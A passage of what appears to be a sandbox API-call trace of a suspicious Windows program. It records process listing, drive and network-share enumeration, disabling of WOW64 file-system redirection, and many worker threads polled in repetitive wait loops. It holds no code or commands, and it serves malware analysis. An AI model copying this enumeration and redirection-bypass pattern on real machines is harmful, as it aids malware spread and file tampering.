lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.349] lstrlenW (lpString="svchost.exe") returned 11 [0225.349] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0225.350] lstrlenW (lpString="LogonUI.exe") returned 11 [0225.350] Process32NextW (in: hSnapshot=0x1f0, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0225.352] CloseHandle (hObject=0x1f0) returned 1 [0225.355] Sleep (dwMilliseconds=0x1f4) Thread: id = 7 os_tid = 0x24c [0202.714] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff Thread: id = 8 os_tid = 0x658 [0202.714] GetLogicalDrives () returned 0x4 [0202.714] GetComputerNameW (in: lpBuffer=0x62e65c, nSize=0x24dff6c | out: lpBuffer="XDUWTFONO", nSize=0x24dff6c) returned 1 [0202.715] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x24dff3c | out: lphEnum=0x24dff3c*=0x5f6238) returned 0x0 [0202.715] WNetEnumResourceW (in: hEnum=0x5f6238, lpcCount=0x24dff38, lpBuffer=0x63e660, lpBufferSize=0x24dff40 | out: lpcCount=0x24dff38, lpBuffer=0x63e660, lpBufferSize=0x24dff40) returned 0x103 [0202.715] WNetCloseEnum (hEnum=0x5f6238) returned 0x0 [0202.715] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x24dff3c | out: lphEnum=0x24dff3c*=0x3f802f0) returned 0x0 [0205.077] WNetEnumResourceW (in: hEnum=0x3f802f0, lpcCount=0x24dff38, lpBuffer=0x63e660, lpBufferSize=0x24dff40 | out: lpcCount=0x24dff38, lpBuffer=0x63e660, lpBufferSize=0x24dff40) returned 0x0 [0205.077] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x63e660, lphEnum=0x24dff10 | out: lphEnum=0x24dff10*=0x5f63b8) returned 0x0 [0205.079] WNetEnumResourceW (in: hEnum=0x5f63b8, lpcCount=0x24dff0c, lpBuffer=0x3a0e638, lpBufferSize=0x24dff14 | out: lpcCount=0x24dff0c, lpBuffer=0x3a0e638, lpBufferSize=0x24dff14) returned 0x103 [0205.079] WNetCloseEnum (hEnum=0x5f63b8) returned 0x0 [0205.080] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x63e680, lphEnum=0x24dff10) Thread: id = 9 os_tid = 0x768 [0203.644] GetTickCount () returned 0x40e23 [0203.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61b5a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0203.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61b5a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0203.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61b5a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0203.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61b5a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0203.648] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0203.648] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0203.648] Wow64DisableWow64FsRedirection (in: OldValue=0x25dff84 | out: OldValue=0x25dff84*=0x0) returned 1 [0203.648] lstrlenW (lpString="kernel32.dll") returned 12 [0203.648] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0203.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5fb5e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0203.652] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0203.899] GetTickCount () returned 0x40eaf [0203.899] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0204.180] GetTickCount () returned 0x40f5b [0204.180] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0204.409] GetTickCount () returned 0x41045 [0204.409] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0204.652] GetTickCount () returned 0x4112f [0204.652] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0204.768] GetTickCount () returned 0x411ac [0204.768] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0204.881] GetTickCount () returned 0x41219 [0204.881] GetTickCount () returned 0x41219 [0204.881] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0204.985] GetTickCount () returned 0x41286 [0204.985] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0205.193] GetTickCount () returned 0x41341 [0205.193] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0205.661] GetTickCount () returned 0x41506 [0205.661] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0205.859] GetTickCount () returned 0x415b1 [0205.859] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0206.030] GetTickCount () returned 0x4165d [0206.030] GetTickCount () returned 0x4165d [0206.030] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0206.219] GetTickCount () returned 0x416f9 [0206.219] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0206.456] GetTickCount () returned 0x417e3 [0206.456] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0206.578] GetTickCount () returned 0x41850 [0206.578] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0206.685] GetTickCount () returned 0x418bd [0206.685] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0206.794] GetTickCount () returned 0x4192a [0206.794] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0206.903] GetTickCount () returned 0x41998 [0206.903] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0207.012] GetTickCount () returned 0x41a05 [0207.012] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0207.122] GetTickCount () returned 0x41a72 [0207.122] GetTickCount () returned 0x41a72 [0207.122] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0207.233] GetTickCount () returned 0x41adf [0207.233] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0207.340] GetTickCount () returned 0x41b4c [0207.340] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0208.021] GetTickCount () returned 0x41bba [0208.021] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0208.120] GetTickCount () returned 0x41c27 [0208.120] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0208.229] GetTickCount () returned 0x41c94 [0208.229] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0208.370] GetTickCount () returned 0x41d20 [0208.370] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0208.546] GetTickCount () returned 0x41dad [0208.546] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0209.306] GetTickCount () returned 0x41ee5 [0209.306] GetTickCount () returned 0x41ee5 [0209.306] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0209.527] GetTickCount () returned 0x41fb0 [0209.527] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0209.700] GetTickCount () returned 0x4203c [0209.700] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0210.094] GetTickCount () returned 0x421c2 [0210.094] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0210.429] GetTickCount () returned 0x42319 [0210.429] GetTickCount () returned 0x42319 [0210.429] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0210.638] GetTickCount () returned 0x423b5 [0210.638] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0211.030] GetTickCount () returned 0x424fd [0211.030] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0211.257] GetTickCount () returned 0x425d7 [0211.257] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0211.666] GetTickCount () returned 0x4276d [0211.666] GetTickCount () returned 0x4276d [0211.666] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0211.962] GetTickCount () returned 0x42895 [0211.962] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0212.201] GetTickCount () returned 0x4297f [0212.201] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0212.413] GetTickCount () returned 0x42a5a [0212.413] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0212.725] GetTickCount () returned 0x42b92 [0212.725] GetTickCount () returned 0x42b92 [0212.725] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0212.991] GetTickCount () returned 0x42c9b [0212.991] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0213.418] GetTickCount () returned 0x42e40 [0213.418] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0213.730] GetTickCount () returned 0x42f78 [0213.730] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0214.303] GetTickCount () returned 0x431b9 [0214.303] GetTickCount () returned 0x431b9 [0214.303] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0214.527] GetTickCount () returned 0x43294 [0214.527] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0214.902] GetTickCount () returned 0x4340a [0214.902] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0215.211] GetTickCount () returned 0x43542 [0215.211] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0215.546] GetTickCount () returned 0x4365b [0215.546] GetTickCount () returned 0x4365b [0215.546] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0215.931] GetTickCount () returned 0x43745 [0215.931] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0216.477] GetTickCount () returned 0x43967 [0216.477] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0216.858] GetTickCount () returned 0x43aed [0216.858] GetTickCount () returned 0x43aed [0216.858] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0217.125] GetTickCount () returned 0x43bf6 [0217.125] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0217.395] GetTickCount () returned 0x43cff [0217.395] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0217.877] GetTickCount () returned 0x43ee3 [0217.877] GetTickCount () returned 0x43ee3 [0217.877] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0218.165] GetTickCount () returned 0x43ffc [0218.165] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0218.305] GetTickCount () returned 0x44088 [0218.305] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0218.464] GetTickCount () returned 0x44134 [0218.464] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0218.701] GetTickCount () returned 0x4421e [0218.701] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0218.960] GetTickCount () returned 0x44317 [0218.960] GetTickCount () returned 0x44317 [0218.960] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0219.224] GetTickCount () returned 0x44420 [0219.224] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0219.369] GetTickCount () returned 0x444bc [0219.369] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0219.914] GetTickCount () returned 0x446de [0219.914] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.042] GetTickCount () returned 0x4475b [0220.042] GetTickCount () returned 0x4475b [0220.042] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.204] GetTickCount () returned 0x447f7 [0220.204] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.386] GetTickCount () returned 0x448b2 [0220.386] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.564] GetTickCount () returned 0x4495e [0220.564] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.860] GetTickCount () returned 0x44a87 [0220.860] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0220.962] GetTickCount () returned 0x44af4 [0220.962] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0221.104] GetTickCount () returned 0x44b80 [0221.104] GetTickCount () returned 0x44b80 [0221.104] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0221.447] GetTickCount () returned 0x44cd7 [0221.447] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0221.552] GetTickCount () returned 0x44d45 [0221.552] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0221.705] GetTickCount () returned 0x44dd1 [0221.705] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0221.803] GetTickCount () returned 0x44e3e [0221.803] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0221.921] GetTickCount () returned 0x44eab [0221.921] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0222.097] GetTickCount () returned 0x44f57 [0222.097] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0222.292] GetTickCount () returned 0x45022 [0222.292] GetTickCount () returned 0x45022 [0222.292] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0222.421] GetTickCount () returned 0x4509f [0222.422] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0222.864] GetTickCount () returned 0x45263 [0222.864] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0223.210] GetTickCount () returned 0x453ba [0223.210] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0223.718] GetTickCount () returned 0x455ad [0223.718] GetTickCount () returned 0x455ad [0223.718] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0224.020] GetTickCount () returned 0x456e5 [0224.020] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0224.567] GetTickCount () returned 0x45907 [0224.567] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0224.893] GetTickCount () returned 0x45a4f [0224.893] GetTickCount () returned 0x45a4f [0224.893] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0225.332] GetTickCount () returned 0x45c04 [0225.332] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) Thread: id = 10 os_tid = 0x76c [0203.645] GetTickCount () returned 0x40e23 [0203.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x60bfd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0203.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x60bfd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0203.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x60bfd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0203.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x60bfd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0203.652] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0203.652] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0203.652] Wow64DisableWow64FsRedirection (in: OldValue=0x26dff84 | out: OldValue=0x26dff84*=0x0) returned 1 [0203.652] lstrlenW (lpString="kernel32.dll") returned 12 [0203.652] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0203.652] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x61d5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0203.652] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0203.899] GetTickCount () returned 0x40eaf [0203.899] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0204.180] GetTickCount () returned 0x40f5b [0204.180] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0204.409] GetTickCount () returned 0x41045 [0204.409] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0204.652] GetTickCount () returned 0x4112f [0204.652] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0204.768] GetTickCount () returned 0x411ac [0204.768] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0204.881] GetTickCount () returned 0x41219 [0204.881] GetTickCount () returned 0x41219 [0204.881] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0204.984] GetTickCount () returned 0x41286 [0204.985] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0205.193] GetTickCount () returned 0x41341 [0205.193] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0205.661] GetTickCount () returned 0x41506 [0205.661] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0205.859] GetTickCount () returned 0x415b1 [0205.859] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0206.030] GetTickCount () returned 0x4165d [0206.030] GetTickCount () returned 0x4165d [0206.030] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0206.219] GetTickCount () returned 0x416f9 [0206.219] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0206.456] GetTickCount () returned 0x417e3 [0206.456] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0206.578] GetTickCount () returned 0x41850 [0206.578] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0206.685] GetTickCount () returned 0x418bd [0206.685] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0206.794] GetTickCount () returned 0x4192a [0206.794] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0206.903] GetTickCount () returned 0x41998 [0206.903] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0207.012] GetTickCount () returned 0x41a05 [0207.012] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0207.122] GetTickCount () returned 0x41a72 [0207.122] GetTickCount () returned 0x41a72 [0207.122] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0207.233] GetTickCount () returned 0x41adf [0207.233] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0207.340] GetTickCount () returned 0x41b4c [0207.340] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0208.021] GetTickCount () returned 0x41bba [0208.021] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0208.120] GetTickCount () returned 0x41c27 [0208.120] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0208.229] GetTickCount () returned 0x41c94 [0208.229] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0208.370] GetTickCount () returned 0x41d20 [0208.370] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0208.545] GetTickCount () returned 0x41dad [0208.545] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0209.306] GetTickCount () returned 0x41ee5 [0209.306] GetTickCount () returned 0x41ee5 [0209.306] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0209.527] GetTickCount () returned 0x41fb0 [0209.527] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0209.700] GetTickCount () returned 0x4203c [0209.700] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0210.094] GetTickCount () returned 0x421c2 [0210.094] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0210.429] GetTickCount () returned 0x42319 [0210.429] GetTickCount () returned 0x42319 [0210.429] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0210.637] GetTickCount () returned 0x423b5 [0210.637] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0211.029] GetTickCount () returned 0x424fd [0211.029] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0211.257] GetTickCount () returned 0x425d7 [0211.257] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0211.666] GetTickCount () returned 0x4276d [0211.666] GetTickCount () returned 0x4276d [0211.667] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0211.961] GetTickCount () returned 0x42895 [0211.961] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0212.201] GetTickCount () returned 0x4297f [0212.201] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0212.413] GetTickCount () returned 0x42a5a [0212.413] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0212.725] GetTickCount () returned 0x42b92 [0212.725] GetTickCount () returned 0x42b92 [0212.725] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0212.991] GetTickCount () returned 0x42c9b [0212.991] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0213.418] GetTickCount () returned 0x42e40 [0213.418] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0213.730] GetTickCount () returned 0x42f78 [0213.730] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0214.303] GetTickCount () returned 0x431b9 [0214.303] GetTickCount () returned 0x431b9 [0214.303] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0214.527] GetTickCount () returned 0x43294 [0214.527] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0214.902] GetTickCount () returned 0x4340a [0214.902] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0215.211] GetTickCount () returned 0x43542 [0215.211] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0215.545] GetTickCount () returned 0x4364b [0215.545] GetTickCount () returned 0x4364b [0215.545] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0215.931] GetTickCount () returned 0x43745 [0215.931] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0216.477] GetTickCount () returned 0x43967 [0216.477] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0216.858] GetTickCount () returned 0x43aed [0216.858] GetTickCount () returned 0x43aed [0216.858] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0217.125] GetTickCount () returned 0x43bf6 [0217.125] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0217.395] GetTickCount () returned 0x43cff [0217.395] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0217.877] GetTickCount () returned 0x43ee3 [0217.877] GetTickCount () returned 0x43ee3 [0217.877] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0218.165] GetTickCount () returned 0x43ffc [0218.165] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0218.305] GetTickCount () returned 0x44088 [0218.305] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0218.464] GetTickCount () returned 0x44134 [0218.464] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0218.701] GetTickCount () returned 0x4421e [0218.701] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0218.960] GetTickCount () returned 0x44317 [0218.960] GetTickCount () returned 0x44317 [0218.960] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0219.223] GetTickCount () returned 0x44420 [0219.223] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0219.369] GetTickCount () returned 0x444bc [0219.369] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0219.914] GetTickCount () returned 0x446de [0219.914] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.042] GetTickCount () returned 0x4475b [0220.042] GetTickCount () returned 0x4475b [0220.042] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.204] GetTickCount () returned 0x447f7 [0220.204] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.386] GetTickCount () returned 0x448b2 [0220.386] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.564] GetTickCount () returned 0x4495e [0220.564] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.859] GetTickCount () returned 0x44a87 [0220.859] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0220.962] GetTickCount () returned 0x44af4 [0220.962] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0221.104] GetTickCount () returned 0x44b80 [0221.104] GetTickCount () returned 0x44b80 [0221.104] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0221.447] GetTickCount () returned 0x44cd7 [0221.447] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0221.552] GetTickCount () returned 0x44d45 [0221.552] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0221.705] GetTickCount () returned 0x44dd1 [0221.705] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0221.803] GetTickCount () returned 0x44e3e [0221.803] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0221.921] GetTickCount () returned 0x44eab [0221.921] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0222.097] GetTickCount () returned 0x44f57 [0222.097] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0222.293] GetTickCount () returned 0x45022 [0222.293] GetTickCount () returned 0x45022 [0222.293] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0222.422] GetTickCount () returned 0x4509f [0222.422] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0222.864] GetTickCount () returned 0x45263 [0222.864] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0223.210] GetTickCount () returned 0x453ba [0223.210] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0223.718] GetTickCount () returned 0x455ad [0223.718] GetTickCount () returned 0x455ad [0223.718] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0224.020] GetTickCount () returned 0x456e5 [0224.020] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0224.568] GetTickCount () returned 0x45907 [0224.568] WaitForSingleObject (hHandle=0x144, 